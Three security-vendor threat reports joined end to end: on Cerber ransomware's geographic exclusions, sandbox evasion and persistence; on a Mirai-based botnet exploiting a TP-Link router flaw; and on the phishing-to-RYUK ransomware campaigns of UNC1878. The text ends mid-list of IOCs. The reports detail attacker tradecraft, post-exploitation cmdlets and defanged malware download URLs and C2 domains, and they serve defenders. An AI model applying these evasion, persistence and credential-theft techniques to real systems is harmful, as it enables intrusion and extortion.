A message to the victim after encryption The ransomware authors attempt to incentivize the victim into paying quickly by providing a 50 percent discount if the ransom is paid within a certain timeframe, as seen in Figure 3.
Figure 3.
Ransom offered to victim, which is discounted for five days Multilingual Support As seen in Figure 4, the Cerber ransomware presented its message and instructions in 12 different languages, indicating this attack was on a global scale.
Figure 4.
Interface provided to the victim to pay ransom supports 12 languages Encryption Cerber targets 294 different file extensions for encryption, including .doc
(typically Microsoft Word documents), .ppt
(generally Microsoft PowerPoint slideshows), .jpg and other images.
It also targets financial file formats such as.
ibank (used with certain personal finance management software) and .wallet (used for Bitcoin).
Selective Targeting Selective targeting was used in this campaign.
The attackers were observed checking the country code of a host machine’s public IP address against a list of blacklisted countries in the JSON configuration, utilizing online services such as ipinfo.io to verify the information.
Blacklisted (protected) countries include: Armenia, Azerbaijan, Belarus, Georgia, Kyrgyzstan, Kazakhstan, Moldova, Russia, Turkmenistan, Tajikistan, Ukraine, and Uzbekistan .
The attack also checked a system's keyboard layout to further ensure it avoided infecting machines in the attackers geography: 1049—Russian, ¨ 1058—Ukrainian, 1059—Belarusian, 1064—Tajik, 1067—Armenian, 1068—Azeri, (Latin), 1079—Georgian, 1087—Kazakh, 1088—Kyrgyz (Cyrillic), 1090—Turkmen, 1091—Uzbek (Latin), 2072—Romanian (Moldova), 2073—Russian (Moldova), 2092—Azeri (Cyrillic), 2115—Uzbek (Cyrillic).
Selective targeting has historically been used to keep malware from infecting endpoints within the author’s geographical region, thus protecting them from the wrath of local authorities.
The actor also controls their exposure using this technique.
In this case, there is reason to suspect the attackers are based in Russia or the surrounding region.
Anti VM Checks
The malware searches for a series of hooked modules, specific filenames and paths, and known sandbox volume serial numbers, including: sbiedll.dll, dir_watch.dll, api_log.dll, dbghelp.dll, Frz_State, C:\\popupkiller.exe, C:\\stimulator.exe, C:\\TOOLS\\execute.exe, \\sand-box\\, \\cwsandbox\\, \\sandbox\\, 0CD1A40, 6CBBC508, 774E1682, 837F873E, 8B6F64BC.
Aside from the aforementioned checks and blacklisting, there is also a wait option built in where the payload will delay execution on an infected machine before it launches an encryption routine.
This technique was likely implemented to further avoid detection within sandbox environments.
Persistence Once executed, Cerber deploys the following persistence techniques to make sure a system remains infected: A registry key is added to launch the malware instead of the screensaver when the system becomes idle.
The “CommandProcessor” Autorun keyvalue is changed to point to the Cerber payload so that the malware will be launched each time the Windows terminal, “cmd.exe”, is launched.
A shortcut (.lnk) file is added to the startup folder.
This file references the ransomware and Windows will execute the file immediately after the infected user logs in.
Common persistence methods such as run and runonce key are also used.
A Solid Defense Mitigating ransomware malware has become a high priority for affected organizations because passive security technologies such as signature-based containment have proven ineffective.
Malware authors have demonstrated an ability to outpace most endpoint controls by compiling multiple variations of their malware with minor binary differences.
By using alternative packers and compilers, authors are increasing the level of effort for researchers and reverse-engineers.
Unfortunately, those efforts don’t scale.
Disabling support for macros in documents from the Internet and increasing user awareness are two ways to reduce the likelihood of infection.
If you can, consider blocking connections to websites you haven’t explicitly whitelisted.
However, these controls may not be sufficient to prevent all infections or they may not be possible based on your organization.
FireEye Endpoint Security with Exploit Guard helps to detect exploits and techniques used by ransomware attacks (and other threat activity) during execution and provides analysts with greater visibility.
This helps your security team conduct more detailed investigations of broader categories of threats.
This information enables your organization to quickly stop threats and adapt defenses as needed.
Conclusion Ransomware has become an increasingly common and effective attack affecting enterprises, impacting productivity and preventing users from accessing files and data.
Mitigating the threat of ransomware requires strong endpoint controls, and may include technologies that allow security personnel to quickly analyze multiple systems and correlate events to identify and respond to threats.
HX with Exploit Guard uses behavioral intelligence to accelerate this process, quickly analyzing endpoints within your enterprise and alerting your team so they can conduct an investigation and scope the compromise in real-time.
Traditional defenses don’t have the granular view required to do this, nor can they connect the dots of discreet individual processes that may be steps in an attack.
This takes behavioral intelligence that is able to quickly analyze a wide array of processes and alert on them so analysts and security teams can conduct a complete investigation into what has, or is, transpiring.
This can only be done if those professionals have the right tools and the visibility into all endpoint activity to effectively find every aspect of a threat and deal with it, all in real-time.
Also, at FireEye, we go one step ahead and contact relevant authorities to bring down these types of campaigns.
Click here for more information about Exploit Guard technology.
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FortiGuard Labs Threat Research Report Affected Platforms: Linux Impacted Users: Any organization Impact: Remote attackers gain control of the vulnerable systems Severity Level:
Critical Last week, our FortiGuard Labs team encountered a malware sample that’s currently being distributed in the wild targeting TP-link wireless routers.
It leverages a recently post-authenticated RCE vulnerability released barely two weeks prior.
As it turns out, it is an updated variant of the MANGA campaign (also known as Dark) that distributes samples based on Mirai’s published source code.
This Mirai-based Distributed Denial of Service (DDOS) botnet campaign is one that FortiGuard Labs has been actively monitoring .
The campaign originally piqued our interest due to the continuous updating of its list of target vulnerabilities—more so than other campaigns we have seen so far.
TP-Link has already released an updated firmware for this affected hardware version  and users are strongly encouraged to update their devices.
This post details how this threat leverages the new vulnerability to take over the affected devices and ways to protect users from these attacks.
Exploiting a New Vulnerability This Mirai-based botnet campaign is referred to as MANGA because of the token string it used to include in its SSH/telnet commands.
It is also referred to as Dark due to the filenames used for its binaries (e.g., Dark.arm, dark.mips, etc.
).
By exploiting recently published vulnerabilities, this malware campaign capitalizes on the gap between the time of disclosure of a vulnerability and the application of a patch to compromise IoT devices.
This gives it a higher potential of spreading, making it more prolific than similar botnets.
The latest addition to its constantly growing list of targeted vulnerabilities is TP-Link Home Wireless Routers, particularly the TL-WR840N EU (V5) model.
The vulnerability it targets, assigned CVE-2021-41653 , was only just discovered on November 12 of this year.
And barely two weeks later, on November 22, a sample from the MANGA malware campaign was seen actively exploiting it in the wild.
Kamilló Matek discusses the full details of this vulnerability in this article .
In summary, a vulnerable host parameter allows authenticated users to execute arbitrary commands in the target device.
In this case, it is being exploited to force vulnerable devices to download and execute a malicious script, tshit.sh , which then downloads the main binary payloads, as discussed in the next section.
To accomplish this, the following requests are sent to the device: Request 1: Request 2: It is important to emphasize that this exploitation requires authentication to succeed.
Therefore, it is crucial for users to change their default credentials.
Same Package As with Mirai’s normal infection routine, the executed shell script downloads the main payload binaries for different architectures and platforms and executes them blindly in the victim’s system.
In addition, it prevents other botnets from taking over the device by blocking connections to commonly targeted ports.
The malware then waits for a command from its Command-and-Control (C2) server to perform different variations of a Denial-Of-Service (DOS) attack.
Solution Fortinet customers are protected by the following: The following generic FortiGuard IPS signatures were able to detect this attack before this vulnerability was disclosed: TP-Link.
HTTP.Management.
Code.
Execution TP-Link.
Home.
Wifi.
Router.
CGI.Referer.
Command.
Injection The FortiGuard Web Filtering Service blocks downloaded URLs and identified C2s.
The FortiGuard AntiVirus service detects and blocks this threat as Linux/Mirai and ELF/Mirai Conclusion Through our active monitoring, we encountered a new variant of the Mirai-based botnet campaign referred to as MANGA or Dark.
It targets a recently published TP-Link wireless router RCE vulnerability.
Throughout its life, this ongoing campaign has been very active in targeting newly discovered vulnerabilities.
In fact, right before this blog was published, our monitoring system encountered yet another updated variant that we are currently investigating.
FortiGuard Labs will continue monitoring this campaign and provide updates as necessary.
IOCs Download URLs http[:]//194.85.248.176/bins/eh.x86 http[:]//194.85.248.176/bins/eh.mips http[:]//194.85.248.176/bins/eh.mpsl http[:]//194.85.248.176/bins/eh.arm4 http[:]//194.85.248.176/bins/eh.arm5 http[:]//194.85.248.176/bins/eh.arm6 http[:]//194.85.248.176/bins/eh.arm7 http[:]//194.85.248.176/bins/eh.ppc http[:]//194.85.248.176/bins/eh.m68k http[:]//194.85.248.176/bins/eh.sh4 http[:]//194.85.248.176/bins/eh.86_64 http[:]//194.85.248.176/local.sh http[:]//194.85.248.176/tshit.sh http[:]//2.56.59.215/apache2.sh http[:]//212.192.241.72/lolol.sh Samples (SHA256) ebfc95372427f8b845daff9ff4aebe2451fa78e35a24edd084685f06ba3daee4 57f50f34e6df8ee9006e46b5fe5c4ee11febe9e33b087c809f1384563e9f1d4e 8ebef715ddb0b4e973b2f8c7529f4480b5caa9c4a25f8fd05a7eaacf036cca20 113be1f9db8af2469b82ce1b5d1b0c61c50586567b3898f2b8a614cd6e8f47a8 b4c3c79d148db638f891143a1910c3d17f973c512a719b1f7525a823b14d29a8 d3928d0b6dedce6a083123028e50ba76e1b29666e70a96eec1a7061b7303bf1a 6b463e9f5d9e8edbc235bceb854367b26ed6effb0dee9881a4f4e88a967318d5 d88052c0a76cac7e571870a4e87c5354594c26b4955cd934870dc12d48f129d5 265396023cbbad6b3480b851873ece9fa2f32c63739a7a0ac32d196843080cc8 83566400bdb09c5e2438c0d9ff723c88328ca93f29e648f97088342e239bfa09 af9ac01e9e8cf7064d590044df43adca566521d223662cf5e0e2500badff6998 de01f26209a085eeff8c217782d283640a6226ccf1bd27eefd696658b55d10ba a4b16a5bf9b6e662050a3c5ff157d7b2f0be301a1f8f5d1359170132b8b22e58 7a47e5b83e3c42df2ab72adf4a041b2e382f61a0ff378f593156353a78c2c702 1bd895ed050ce42d0f39b6baa0b6a454e05eb5bff72290857cb8fb77a9e4b4b9
71ca57bbba49aa877f7ded340328342c6e82e3a99720734c8b0de150d44d906c 23b03aa7d1dadd2e71016702f3e1b278b3a2c4f0c7d0cdc272774a428b88d09c fb7b03e7619d3ac5c4cbadc6b38841b11e3b19214b776073a590b571f91fe51e 3c978e02d21c7c12631d56c41aceb305fc11348a53eed47e29f7ce62ea0da4df 4832cff5666433a784d6ba48a0e400367d25314ef15d08a216b6286226eff342 95e4ac3ae03646cda56d80df80d775ed4bf23f98be42274fb440e7bc0d03ce88 8d390ad5af8d70692bda123b96e9745816ec7893d84682adb6d243619538b9d3 66adea50e0de8e1d664bb18c9f80596d1443b90e9ba57a59425720886a0c97e0 a87b502575d0db1b6257f1cf75edf4894bc84598f79148525b5cc449d143a495 Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Throughout 2020, ransomware activity has become increasingly prolific, relying on an ecosystem of distinct but co-enabling operations to gain access to targets of interest before conducting extortion.
Mandiant Threat Intelligence has tracked several loader and backdoor campaigns that lead to the post-compromise deployment of ransomware, sometimes within 24 hours of initial compromise .
Effective and fast detection of these campaigns is key to mitigating this threat .
The malware families enabling these attacks previously reported by Mandiant to intelligence subscribers include KEGTAP/BEERBOT, SINGLEMALT/STILLBOT and WINEKEY/CORKBOT.
While these malware families communicate with the same command and control infrastructure (C2) and are close to functional parity, there are minimal code overlaps across them.
Other security researchers have tracked these malware families under the names BazarLoader and BazarBackdoor or Team9 .
The operators conducting these campaigns have actively targeted hospitals, retirement communities, and medical centers, even in the midst of a global health crisis , demonstrating a clear disregard for human life.
Email Campaign TTPs Campaigns distributing KEGTAP, SINGLEMALT and WINEKEY have been sent to individuals at organizations across a broad range of industries and geographies using a series of shifting delivery tactics, techniques and procedures (TTPs).
Despite the frequent changes seen across these campaigns, the following has remained consistent across recent activity: Emails contain an in-line link to an actor-controlled Google Docs document, typically a PDF file.
This document contains an in-line link to a URL hosting a malware payload.
Emails masquerade as generic corporate communications, including follow-ups about documents and phone calls or emails crafted to appear related to complaints, terminations, bonuses, contracts, working schedules, surveys or queries about business hours.
Some email communications have included the recipient’s name or employer name in the subject line and/or email body.
Despite this uniformity, the associated TTPs have otherwise changed regularly—both between campaigns and across multiple spam runs seen in the same day.
Notable ways that these campaigns have varied over time include: Early campaigns were delivered via Sendgrid and included in-line links to Sendgrid URLs that would redirect users to attacker-created Google documents.
In contrast, recent campaigns have been delivered via attacker-controlled or compromised email infrastructure and have commonly contained in-line links to attacker-created Google documents, although they have also used links associated with the Constant Contact service.
The documents loaded by these in-line links are crafted to appear somewhat relevant to the theme of the email campaign and contain additional links along with instructions directing users to click on them.
When clicked, these links download malware binaries with file names masquerading as document files.
Across earlier campaigns these malware binaries were hosted on compromised infrastructure, however, the attackers have shifted to hosting their malware on legitimate web services, including Google Drive, Basecamp, Slack, Trello, Yougile, and JetBrains.
In recent campaigns, the malware payloads have been hosted on numerous URLs associated with one or more of these legitimate services.
In cases where the payloads have been taken down, the actors have sometimes updated their Google documents to contain new, working links.
Some campaigns have also incorporated customization, including emails with internal references to the recipients’ organizations (Figure 1) and organizations’ logos embedded into the Google Docs documents (Figure 2).
Figure 1:
Email containing internal references to target an organization’s name Figure 2: Google Docs PDF document containing a target organization’s logo Hiding the final payload behind multiple links is a simple yet effective way to bypass some email filtering technologies.
Various technologies have the ability to follow links in an email to try to identify malware or malicious domains; however, the number of links followed can vary.
Additionally, embedding links within a PDF document further makes automated detection and link-following difficult.
Post-Compromise TTPs Given the possibility that accesses obtained from these campaigns may be provided to various operators to monetize, the latter-stage TTPs, including ransomware family deployed, may vary across intrusions.
A notable majority of cases where Mandiant has had visibility into these post-compromise TTPs have been attributable to UNC1878, a financially motivated actor that monetizes network access via the deployment of RYUK ransomware.
Establish Foothold Once the loader and backdoor have been executed on the initial victim host, the actors have used this initial backdoor to download POWERTRICK and/or Cobalt Strike BEACON payloads to establish a foothold.
Notably, the respective loader and backdoor as well as POWERTRICK have typically been installed on a small number of hosts in observed incidents, suggesting these payloads may be reserved for establishing a foothold and performing initial network and host reconnaissance.
However, BEACON is frequently found on a larger number of hosts and used throughout various stages of the attack lifecycle.
Maintain Presence Beyond the preliminary phases of each intrusion, we have seen variations in how these attackers have maintained presence after establishing an initial foothold or moving laterally within a network.
In addition to the use of common post-exploitation frameworks such as Cobalt Strike, Metasploit and EMPIRE, we have observed the use of other backdoors, including ANCHOR, that we also believe to be under control of the actors behind TrickBot.
The loaders associated with this activity can maintain persistence through reboot by using at least four different techniques, including creating a scheduled task, adding itself to the startup folder as a shortcut, creating a scheduled Microsoft BITS job using /setnotifycmdline, and adding itself to the Userinit value under the following registry key: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon.
Actors have downloaded POWERTRICK, Metasploit Meterpreter, and Cobalt Strike BEACON payloads following the initial compromise.
BEACON payloads have commonly been executed after moving laterally to new hosts within the victim network.
The attackers have employed Cobalt Strike payloads crafted to maintain persistence through reboot via a scheduled task on critical systems in victim environments.
Notably, BEACON is the backdoor observed most frequently across these incidents.
We have observed actors executing encoded PowerShell commands that ultimately executed instances of the PowerShell EMPIRE backdoor.
The actors were observed using BEACON to execute PowerLurk's Register-MaliciousWmiEvent cmdlet to register WMI events used to kill processes related to security tools and utilities, including Task Manager, WireShark, TCPView, ProcDump, Process Explorer, Process Monitor, NetStat, PSLoggedOn, LogonSessions, Process Hacker, Autoruns, AutorunsSC, RegEdit, and RegShot.
In at least once case, attackers have maintained access to a victim environment using stolen credentials to access corporate VPN infrastructure configured to require only single-factor authentication.
Escalate Privileges
The most commonly observed methods for escalating privileges in these incidents have involved the use of valid credentials.
The actors used a variety of techniques for accessing credentials stored in memory or on disk to access privileged accounts.
The actors used valid credentials obtained using MimiKatz variants to escalate privileges.
We’ve observed Mimikatz being executed both from the file system of victim hosts and via PowerShell cmdlets executed via Cobalt Strike BEACON.
Actors have gained access to credentials via exported copies of the ntds.dit Active Directory database and SYSTEM and SECURITY registry hives from a Domain Controller.
In multiple instances, the actors have launched attacks against Kerberos, including the use of RUBEUS, the MimiKatz Kerberos module, and the Invoke-Kerberoast cmdlet.
Reconnaissance The approaches taken to perform host and network reconnaissance across these incidents varied; however, a significant portion of observed reconnaissance activity has revolved around Activity Directory enumeration using publicly available utilities such as BLOODHOUND, SHARPHOUND or ADFind, as well as the execution of PowerShell cmdlets using Cobalt Strike BEACON.
BEACON has been installed on a large number of systems across these intrusions and has been used to execute various reconnaissance commands including both built-in host commands and PowerShell cmdlets.
Observed PowerShell cmdlets include: Get-GPPPassword Invoke-AllChecks Invoke-BloodHound Invoke-EternalBlue Invoke-FileFinder Invoke-HostRecon Invoke-Inveigh Invoke-Kerberoast Invoke-LoginPrompt Invoke-mimikittenz Invoke-ShareFinder Invoke-UserHunter Mandiant has observed actors using POWERTRICK to execute built-in system commands on the initial victim host, including ipconfig , findstr , and cmd.exe.
The actors leveraged publicly available utilities Adfind, BLOODHOUND, SHARPHOUND, and KERBRUTE on victim networks to collect Active Directory information and credentials.
WMIC commands have been used to perform host reconnaissance, including listing installed software, listing running processes, and identifying operating system and system architecture.
The actors have used a batch script to ping all servers identified during Active Directory enumeration and output the results to res.txt .
The actors used the Nltest command to list domain controllers.
Lateral Movement Lateral movement was most commonly accomplished using valid credentials in combination with Cobalt Strike BEACON, RDP and SMB, or using the same backdoors used to establish a foothold in victim networks.
The actors have regularly leveraged Cobalt Strike BEACON and Metasploit Meterpreter to move laterally within victim environments.
The actors commonly moved laterally within victim environments using compromised accounts—both those belonging to regular users and accounts with administrative privileges.
In addition to the use of common post-exploitation frameworks, lateral movement has also been achieved using WMIC commands and the Windows RDP and SMB protocols.
The actors used the Windows net use command to connect to Windows admin shares to move laterally.
Complete Mission Mandiant is directly aware of incidents involving KEGTAP that included the post-compromise deployment of RYUK ransomware.
We have also observed instances where ANCHOR infections, another backdoor associated with the same actors, preceded CONTI or MAZE deployment.
In at least one case, an executable was observed that was designed to exfiltrate files via SFTP to an attacker-controlled server.
The actors have used Cobalt Strike BEACON to exfiltrate data created through network reconnaissance activities as well as user files.
The actors were observed deleting their tools from victim hosts in an attempt to remove indicators of compromise.
The actors have used their access to the victim network to deploy ransomware payloads.
There is evidence to suggest that RYUK ransomware was likely deployed via PsExec, but other scripts or artifacts related to the distribution process were not available for forensic analysis.
Hunting Strategies
If an organization identifies a host with an active infection believed to be an instance of KEGTAP or a parallel malware family, the following containment actions are recommended.
Note that due to the velocity of this intrusion activity, these actions should be taken in parallel.
Isolate and perform a forensic review of any impacted systems.
Review incoming emails to the user that owns the impacted device for emails matching the distribution campaigns, and take action to remove the messages from all mailboxes.
Identify the URLs used by the phishing campaign and block them using proxy or network security devices.
Reset credentials for any user accounts associated with execution of the malware.
Perform an enterprise wide review for lateral movement authentication from the impacted systems.
Check authentication logs from any single-factor remote access solutions that may exist (VPN, VDI, etc) and move towards multi-factor authentication (MFA) as soon as possible.
An enterprise-wide effort should be made to identify host-based artifacts related to the execution of first-stage malware and all post-intrusion activity associated with this activity.
Some baseline approaches to this have been captured as follows.
Activity associated with the KEGTAP loader can often be identified via a review of system startup folders and Userinit values under the HKLM\\SOFTWARE\\Microsoft\\Windows
NT\\CurrentVersion\\Winlogon registry key.
%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\adobe.lnk Figure 3:
Example LNK file associated with KEGTAP persistence within a system’s startup folders SINGLEMALT employs BITS to maintain persistence through reboot and can often be identified via a review of anomalous BITS jobs.
SINGLEMALT uses a well-documented BITS persistence mechanism that intentionally creates a job to download a non-existent URL, which will trigger a failure event.
The job is set to retry on a regular interval, thus ensuring the malware continues to run.
To review the BITS job on a host run the command bitsadmin /list .
Display name may be “Adobe Update”, “System autoupdate” or another generic value.
Notify state may be set to Fail (Status 2).
FileList URL value may be set to the local host or a URL that does not exist.
The Notification Command Line value may contain the path to the SINGLEMALT sample and/or a command to move it to a new location then start it.
The Retry Delay value will be set.
WINEKEY maintains persistence through reboot via the use of registry RUN keys.
Searching for anomalous RUN keys enterprise-wide can help to identify systems impacted by this malware.
Key:
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Backup Mgr Value: Path to the backdoor Figure 4:
Example registry RUN key used by WINEKEY to maintain persistence The ANCHOR backdoor has been seen across a subset of intrusions associated with this activity and can often be identified via the scheduled tasks it uses to maintain persistence through reboot.
The scheduled tasks created by ANCHOR are often unnamed, although that is not always the case.
The identification of named scheduled tasks associated with ANCHOR persistence may be constructed according to the following pattern: < Random directory within %APPDATA% > autoupdate#< random number >.
All unnamed scheduled tasks should be reviewed, particularly those with a creation date consistent with the time of the suspected compromise.
Although it is a low fidelity indicator, ANCHOR activity may also sometimes be identified by searching for binaries within the C:\\Windows\\SysWOW64 directory that have a file name matching the following pattern: < 8 random lowercase chars >.exe.
Stacking or sorting on file creation timestamps in the C:\\Windows\\SysWOW64 directory may also help identify malicious files, as the directory should be mostly static.
Post-exploitation activity associated with the deployment of ransomware following these campaigns is typically conducted using the Cobalt Strike attack framework.
The BEACON payload associated with Cobalt Strike can often be identified via a review of existing registered services and service creation events (Event ID 7045), both markers of the mechanism it most commonly employs to maintain persistence.
The following are additional strategies that may aid in identifying associated activity: Organizations can review web proxy logs in order to identify HXXP requests for file storage, project management, collaboration or communication services with a referrer from a Google Docs document.
During the associated post-compromise activity, attackers have commonly staged their tools and data in the PerfLogs directory and C$ share.
While collecting data used to enable later-stage operations, the attackers commonly leave instances of ntds.dit and exports of the SYSTEM and SECURITY registry hives on impacted systems.
Hardening Strategies The actions taken by the actors to escalate privileges and move laterally in an environment use well-documented techniques that search the network and Active Directory for common misconfigurations that expose credentials and systems for abuse.
Organizations can take steps to limit the impact and effectiveness of these techniques.
For more in-depth recommendations see our ransomware protection white paper .
Harden service accounts against brute force and password guessing attacks.
Most organizations have at least a few service accounts with passwords set to never expire.
These passwords are likely old and insecure.
Make a best effort to reset as many of these accounts as possible to long and complex passwords.
In cases where it is possible, migrate to MSAs and gMSAS for automated rotation.
Prevent the usage of privileged accounts for lateral movement.
Use GPOs to restrict the ability for privileged accounts such as Domain Administrators and privileged service accounts from initiating RDP connections and network logins.
Actors often pick just a few accounts to use for RDP; by limiting the number of potential accounts, you provide detection opportunities and opportunities to slow the actor.
Block internet access for servers where possible.
Often times there is no business need for servers, especially AD infrastructure systems, to access the Internet.
The actors often choose high-uptime servers for the deployment of post-exploitation tools such as BEACON.
Block uncategorized and newly registered domains using web proxies or DNS filters.
Often the final payload delivered via phishing is hosted on a compromised third-party website that do not have a business categorization.
Ensure that critical patches are installed on Windows systems as well as network infrastructure.
We have observed attackers exploiting well-known vulnerabilities such as Zerologon (CVE-2020-1472) to escalate privileges in an environment prior to deploying ransomware.
In other cases, possibly unrelated to UNC1878, we have observed threat actors gain access to an environment through vulnerable VPN infrastructure before deploying ransomware.
For more intelligence on ransomware and other threats, please register for Mandiant Advantage Free , a no-cost version of our threat intelligence platform.
Check out this episode of State of the Hack for additional information on this threat.
Campaign Indicators Sample Email Subjects / Patterns <(first|last)-name>:
Important Information <Company Name> <
Company Name> complaint <(first|last)-name> <(first|last)-name> Agreement cancellation message Agreement cancellation notice Agreement cancellation notification Agreement cancellation reminder Agreement suspension message Agreement suspension notice Agreement suspension notification Agreement suspension reminder Arrangement cancellation message Arrangement cancellation notice Arrangement cancellation notification Arrangement cancellation reminder Arrangement suspension message Arrangement suspension notice Arrangement suspension notification Arrangement suspension reminder Contract cancellation message Contract cancellation notice Contract cancellation notification Contract cancellation reminder Contract suspension message Contract suspension notice Contract suspension notification Contract suspension reminder debit confirmation FW: <Name> Annual Bonus Report is Ready FW:
Urgent: <Company Name>: A Customer Complaint Request – Prompt Action Required RE: <(first|last)-name> RE: <(first|last)-name>:
Your Payslip for October RE: <Company Name> - my visit RE: <Company Name>
Employee Survey RE: <Company Name> office RE: <Name> about complaint RE: <Name> bonus RE: <Name> termination list RE: <Name>
RE: <Company Name> office RE: <(first|last)-name> RE: <(first|last)-name> <
(first|last)-name>: complaint RE: <(first|last)-name>: Subpoena RE: <(first|last)-name> RE: <(first|last)-name>:
Your Payslip for September RE: about complaint RE: Adopted Filer Forms RE: Business hours adjustment RE: Business hours realignment RE: Business hours rearrangement RE: Business hours restructuring RE: Business schedule adjustment RE: Business schedule realignment RE: Business schedule rearrangement RE: Business schedule restructuring RE: call me RE: changes RE: complaint RE:
Complaint in <Company Name>.
RE: Complaint on <Name> RE: customer request RE: debit confirmation RE: document copy RE: documents list RE:
Edgar Filer forms renovations RE: employee bonuses RE: Filer Forms adaptations RE: my call RE: New filer form types RE: office RE: our meeting RE:
Payroll Register RE: report confirmation RE: situation RE: Subpoena RE: termination RE: till 2 pm RE: Urgent <Company Name>
Employee Internal Survey RE: visit RE: what about your opinion?
RE: what time?
RE: why RE: why this debit RE:
Working schedule adjustment RE:
Working schedule realignment RE:
Working schedule rearrangement RE:
Working schedule restructuring RE: Your Payslip for September Example
Malware Family MD5s KEGTAP df00d1192451268c31c1f8568d1ff472
BEERBOT 6c6a2bfa5846fab374b2b97e65095ec9
SINGLEMALT 37aa5690094cb6d638d0f13851be4246 STILLBOT 3176c4a2755ae00f4fffe079608c7b25 WINEKEY 9301564bdd572b0773f105287d8837c4 CORKBOT
0796f1c1ea0a142fc1eb7109a44c86cb Code Signing Certificate CNs ARTBUD RADOM SP Z O O BESPOKE SOFTWARE SOLUTIONS LIMITED Best Fud, OOO BlueMarble
GmbH CHOO FSP, LLC Company
Megacom SP Z
O O ESTELLA,
OOO EXON RENTAL SP Z
O O Geksan LLC GLOBAL PARK HORIZON
SP Z O O Infinite Programming Limited James LTH d.o.o.
Logika OOO MADAS d.o.o.
MUSTER PLUS
SP Z
O O NEEDCODE SP
Z
O
O Nordkod LLC NOSOV SP Z
O O OOO MEP PLAN CORP PTY LTD REGION TOURISM LLC RESURS-RM OOO Retalit LLC Rumikon LLC SNAB-RESURS,
OOO TARAT d.o.o.
TES LOGISTIKA d.o.o.
VAS CO PTY LTD VB CORPORATE PTY.
LTD.
VITA-DE d.o.o.
UNC1878 Indicators A significant proportion of the post-compromise activity associated with these campaigns has involved the distribution of RYUK ransomware by a threat group tracked by Mandiant as UNC1878.
As such, we are releasing indicators associated with this group.
BEACON C2s First Seen Domain 12/11/19 updatemanagir[.
]us 12/20/19 cmdupdatewin[.
]com 12/26/19
scrservallinst[.
]info 1/10/20 winsystemupdate[.
]com 1/11/20
jomamba[.
]best 1/13/20 updatewinlsass[.
]com
1/16/20 winsysteminfo[.
]com 1/20/20 livecheckpointsrs[.
]com 1/21/20 ciscocheckapi[.
]com 1/28/20 timesshifts[.
]com 1/29/20 cylenceprotect[.
]com 1/30/20 sophosdefence[.
]com 1/30/20 taskshedulewin[.
]com 1/30/20 windefenceinfo[.
]com 1/30/20 lsasswininfo[.
]com 1/30/20 update-wind[.
]com 1/30/20 lsassupdate[.
]com 1/30/20 renovatesystem[.
]com 1/31/20 updatewinsoftr[.
]com 2/2/20 cleardefencewin[.
]com 2/2/20
checkwinupdate[.
]com 2/2/20
havesetup[.
]net 2/3/20 update-wins[.
]com 2/3/20
conhostservice[.
]com 2/4/20
microsoftupdateswin[.
]com
2/4/20
iexploreservice[.
]com 2/12/20 avrenew[.
]com 2/12/20 target-support[.
]online 2/12/20 web-analysis[.
]live 2/14/20 freeallsafe[.
]com
2/17/20 windefens[.
]com 2/17/20 defenswin[.
]com 2/17/20 easytus[.
]com 2/17/20 greattus[.
]com 2/17/20 livetus[.
]com 2/17/20 comssite[.
]com 2/17/20 findtus[.
]com
2/17/20 bigtus[.
]com 2/17/20 aaatus[.
]com 2/17/20 besttus[.
]com 2/17/20
firsttus[.
]com 2/17/20 worldtus[.
]com 2/26/20 freeoldsafe[.
]com 2/26/20 serviceupdates[.
]net 2/26/20 topserviceupdater[.
]com 2/27/20 myserviceupdater[.
]com 2/29/20 myservicebooster[.
]net 2/29/20 servicesbooster[.
]org 2/29/20 brainschampions[.
]com 2/29/20 myservicebooster[.
]com
2/29/20 topservicesbooster[.
]com 2/29/20 servicesbooster[.
]com 2/29/20 topservicesecurity[.
]org 2/29/20 topservicesecurity[.
]net 2/29/20 topsecurityservice[.
]net 2/29/20 myyserviceupdater[.
]com 2/29/20 topservicesupdate[.
]com 2/29/20 topservicesecurity[.
]com
2/29/20 servicesecurity[.
]org 2/29/20 myserviceconnect[.
]net 3/2/20 topservicesupdates[.
]com 3/2/20 yoursuperservice[.
]com 3/2/20 topservicehelper[.
]com 3/2/20 serviceuphelper[.
]com 3/2/20 serviceshelpers[.
]com 3/2/20 boostsecuritys[.
]com 3/3/20 hakunamatatata[.
]com 3/8/20 service-updater[.
]com 3/9/20 secondserviceupdater[.
]com 3/9/20 twelvethserviceupdater[.
]com 3/9/20 twentiethservicehelper[.
]com 3/9/20
twelfthservicehelper[.
]com 3/9/20 tenthservicehelper[.
]com 3/9/20 thirdserviceupdater[.
]com
3/9/20 thirdservicehelper[.
]com 3/9/20
tenthserviceupdater[.
]com 3/9/20
thirteenthservicehelper[.
]com 3/9/20 seventeenthservicehelper[.
]com 3/9/20
sixteenthservicehelper[.
]com 3/9/20 sixthservicehelper[.
]com 3/9/20 seventhservicehelper[.
]com 3/9/20
seventhserviceupdater[.
]com 3/9/20 sixthserviceupdater[.
]com 3/9/20 secondservicehelper[.
]com
3/9/20 ninthservicehelper[.
]com 3/9/20 ninethserviceupdater[.
]com
3/9/20
fourteenthservicehelper[.
]com 3/9/20 fourthserviceupdater[.
]com 3/9/20 firstserviceupdater[.
]com 3/9/20
firstservisehelper[.
]com 3/9/20
fifthserviceupdater[.
]com 3/9/20 eleventhserviceupdater[.
]com 3/9/20
fifthservicehelper[.
]com 3/9/20 fourservicehelper[.
]com 3/9/20 eighthservicehelper[.
]com 3/9/20 eighteenthservicehelper[.
]com 3/9/20
eighthserviceupdater[.
]com 3/9/20 fifteenthservicehelper[.
]com 3/9/20 nineteenthservicehelper[.
]com 3/9/20
eleventhservicehelper[.
]com 3/14/20 thirdservice-developer[.
]com 3/14/20 fifthservice-developer[.
]com 3/15/20 firstservice-developer[.
]com 3/16/20 fourthservice-developer[.
]com 3/16/20 ninethservice-developer[.
]com 3/16/20 seventhservice-developer[.
]com 3/16/20 secondservice-developer[.
]com 3/16/20 sixthservice-developer[.
]com 3/16/20 tenthservice-developer[.
]com 3/16/20 eithtservice-developer[.
]com 3/17/20 servicedupdater[.
]com 3/17/20 service-updateer[.
]com 3/19/20 sexyservicee[.
]com 3/19/20 serviceboostnumberone[.
]com 3/19/20 servicedbooster[.
]com 3/19/20 service-hunter[.
]com 3/19/20 servicedhunter[.
]com 3/19/20 servicedpower[.
]com 3/19/20 sexycservice[.
]com 3/23/20 yourserviceupdater[.
]com 3/23/20 top-serviceupdater[.
